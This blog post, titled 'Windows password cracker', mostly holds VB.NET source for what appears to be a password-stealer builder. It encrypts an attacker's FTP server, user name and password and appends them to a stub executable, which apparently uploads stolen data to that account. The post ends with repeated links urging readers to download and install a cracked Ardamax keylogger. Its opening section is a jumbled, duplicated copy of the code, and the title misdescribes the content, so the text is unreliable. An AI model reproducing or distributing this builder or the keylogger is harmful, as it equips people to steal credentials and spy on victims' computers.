Windows password cracker
Posted by
ENJOY NEW TECHNOLOGY
Friday, April 29, 2011
Imports System.IO Imports System.Security.Cryptography Imports System.Text
Dim Key As String, Server As String, User As String, Passwort As String Dim VB6setting As New Compatibility.VB6.FixedLengthString(500) Private Sub Zufall() For x = 1 To 20 Dim Länge As Integer = 23 Dim ret As String = String.Empty Dim SB As New System.Text.StringBuilder() Dim Content As String = "1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvw!öäüÖÄÜß""§$%&/()=?*#-½¼»«©§Ã†Ã–æåÔ¥¿Ã¿Ã¾Ã»Ã›Ã©Ã§Ã‘" Dim rnd As New Random() For i As Integer = 0 To Länge - 1 SB.Append(Content(rnd.[Next](Content.Length))) Next txtKey.Text = SB.ToString Next x End Sub
MsgBox("You did not enter key!", MsgBoxStyle.Exclamation, " Warning!")
Exit Sub
End If
Key = txtKey.Text
Server = txtServer.Text
User = txtUser.Text
Passwort = txtPW.Text
Call CryptServer()
With SaveFileDialog1
.AddExtension = True
.FileName = "Server"
.Filter = "Executables (*.exe) | *.exe*"
.ShowDialog()
If File.Exists(.FileName) Then
File.Delete(.FileName)
End If
End With
Dim SchreibeDatei As New IO.BinaryWriter(New IO.FileStream(SaveFileDialog1.FileName & ".exe", IO.FileMode.Create))
SchreibeDatei.Write(My.Resources.Stub)
SchreibeDatei.Close()
VB6setting.Value = Key & "_" & Server & "_" & User & "_" & Passwort
FileOpen(1, (SaveFileDialog1.FileName & ".exe"), OpenMode.Binary)
FilePutObject(1, VB6setting.Value, LOF(1) + 1)
FileClose(1)
MsgBox("The server was successfully created!", MsgBoxStyle.Information, "Success")Call Zufall()
Me.Activate() Call Zufall() My.Application.MinimumSplashScreenDisplayTime = 5000
Protected Overrides Sub OnLoad(ByVal e As EventArgs) Me.Activate() MyBase.OnLoad(e) End Sub
Private Sub CryptServer()
Dim oAesProvider As New RijndaelManaged
Dim btClear() As Byte
Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, btSalt)
oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length)
oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length)
Dim ms As New IO.MemoryStream
Dim cs As New CryptoStream(ms, _
oAesProvider.CreateEncryptor(), _
CryptoStreamMode.Write)
btClear = System.Text.Encoding.UTF8.GetBytes(Server)
cs.Write(btClear, 0, btClear.Length)
cs.Close()
Server = Convert.ToBase64String(ms.ToArray)
Call CryptUser()
End Sub
Private Sub CryptUser()
Dim oAesProvider As New RijndaelManaged
Dim btClear() As Byte
Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, btSalt)
oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length)
oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length)
Dim ms As New IO.MemoryStream
Dim cs As New CryptoStream(ms, _
oAesProvider.CreateEncryptor(), _
CryptoStreamMode.Write)
btClear = System.Text.Encoding.UTF8.GetBytes(User)
cs.Write(btClear, 0, btClear.Length)
cs.Close()
User = Convert.ToBase64String(ms.ToArray)
Call CryptPW()
End Sub
Private Sub CryptPW()
Dim oAesProvider As New RijndaelManaged
Dim btClear() As Byte
Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, btSalt)
oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length)
oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length)
Dim ms As New IO.MemoryStream
Dim cs As New CryptoStream(ms, _
oAesProvider.CreateEncryptor(), _
CryptoStreamMode.Write)
btClear = System.Text.Encoding.UTF8.GetBytes(Passwort)
cs.Write(btClear, 0, btClear.Length)
cs.Close()
Passwort = Convert.ToBase64String(ms.ToArray)
End SubIf MsgBox("Do you want to really quit?", MsgBoxStyle.YesNo, "Exit") = MsgBoxResult.Yes Then
End
Else
Exit Sub
End IfImports System.IO
Imports System.Security.Cryptography
Imports System.Text
Public Class form1
Dim Key As String, Server As String, User As String, Passwort As String
Dim VB6setting As New Compatibility.VB6.FixedLengthString(500)
Private Sub Zufall()
For x = 1 To 20
Dim Länge As Integer = 23
Dim ret As String = String.Empty
Dim SB As New System.Text.StringBuilder()
Dim Content As String = "1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvw!öäüÖÄÜß""§$%&/()=?*#-½¼»«©§Ã†Ã–æåÔ¥¿Ã¿Ã¾Ã»Ã›Ã©Ã§Ã‘"
Dim rnd As New Random()
For i As Integer = 0 To Länge - 1
SB.Append(Content(rnd.[Next](Content.Length)))
Next
txtKey.Text = SB.ToString
Next x
End Sub
Private Sub ButtenCompile_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ButtenCompile.Click
If txtServer.Text = Nothing Then
MsgBox("You have not specified FTP server!", MsgBoxStyle.Exclamation, " Warning!")
Exit Sub
ElseIf txtUser.Text = Nothing Then
MsgBox("You did not enter FTP user!", MsgBoxStyle.Exclamation, " Warning!")
Exit Sub
ElseIf txtPW.Text = Nothing Then
MsgBox("You have not specified an FTP password", MsgBoxStyle.Exclamation, " Warning!")
Exit Sub
ElseIf txtKey.Text = Nothing Then
MsgBox("You did not enter key!", MsgBoxStyle.Exclamation, " Warning!")
Exit Sub
End If
Key = txtKey.Text
Server = txtServer.Text
User = txtUser.Text
Passwort = txtPW.Text
Call CryptServer()
With SaveFileDialog1
.AddExtension = True
.FileName = "Server"
.Filter = "Executables (*.exe) | *.exe*"
.ShowDialog()
If File.Exists(.FileName) Then
File.Delete(.FileName)
End If
End With
Dim SchreibeDatei As New IO.BinaryWriter(New IO.FileStream(SaveFileDialog1.FileName & ".exe", IO.FileMode.Create))
SchreibeDatei.Write(My.Resources.Stub)
SchreibeDatei.Close()
VB6setting.Value = Key & "_" & Server & "_" & User & "_" & Passwort
FileOpen(1, (SaveFileDialog1.FileName & ".exe"), OpenMode.Binary)
FilePutObject(1, VB6setting.Value, LOF(1) + 1)
FileClose(1)
MsgBox("The server was successfully created!", MsgBoxStyle.Information, "Success")
End Sub
Private Sub ButtonRandom_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ButtonRandom.Click
Call Zufall()
End Sub
Private Sub form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.Activate()
Call Zufall()
My.Application.MinimumSplashScreenDisplayTime = 5000
End Sub
Protected Overrides Sub OnLoad(ByVal e As EventArgs)
Me.Activate()
MyBase.OnLoad(e)
End Sub
Private Sub CryptServer()
Dim oAesProvider As New RijndaelManaged
Dim btClear() As Byte
Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, btSalt)
oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length)
oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length)
Dim ms As New IO.MemoryStream
Dim cs As New CryptoStream(ms, _
oAesProvider.CreateEncryptor(), _
CryptoStreamMode.Write)
btClear = System.Text.Encoding.UTF8.GetBytes(Server)
cs.Write(btClear, 0, btClear.Length)
cs.Close()
Server = Convert.ToBase64String(ms.ToArray)
Call CryptUser()
End Sub
Private Sub CryptUser()
Dim oAesProvider As New RijndaelManaged
Dim btClear() As Byte
Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, btSalt)
oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length)
oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length)
Dim ms As New IO.MemoryStream
Dim cs As New CryptoStream(ms, _
oAesProvider.CreateEncryptor(), _
CryptoStreamMode.Write)
btClear = System.Text.Encoding.UTF8.GetBytes(User)
cs.Write(btClear, 0, btClear.Length)
cs.Close()
User = Convert.ToBase64String(ms.ToArray)
Call CryptPW()
End Sub
Private Sub CryptPW()
Dim oAesProvider As New RijndaelManaged
Dim btClear() As Byte
Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, btSalt)
oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length)
oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length)
Dim ms As New IO.MemoryStream
Dim cs As New CryptoStream(ms, _
oAesProvider.CreateEncryptor(), _
CryptoStreamMode.Write)
btClear = System.Text.Encoding.UTF8.GetBytes(Passwort)
cs.Write(btClear, 0, btClear.Length)
cs.Close()
Passwort = Convert.ToBase64String(ms.ToArray)
End Sub
Private Sub ButtonClose_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ButtonClose.Click
If MsgBox("Do you want to really quit?", MsgBoxStyle.YesNo, "Exit") = MsgBoxResult.Yes Then
End
Else
Exit Sub
End If
End Sub
End Class![[Image: hazestealer18mex.jpg]](http://img401.imageshack.us/img401/3651/hazestealer18mex.jpg)
http://www.ziddu.com/download/14359500/Ardamax_Keylogger_3.0_SERIAL_FULL.rar.html
Download it and Install in your computer.
http://www.ziddu.com/download/14359500/Ardamax_Keylogger_3.0_SERIAL_FULL.rar.html
Download it and Install in your computer.

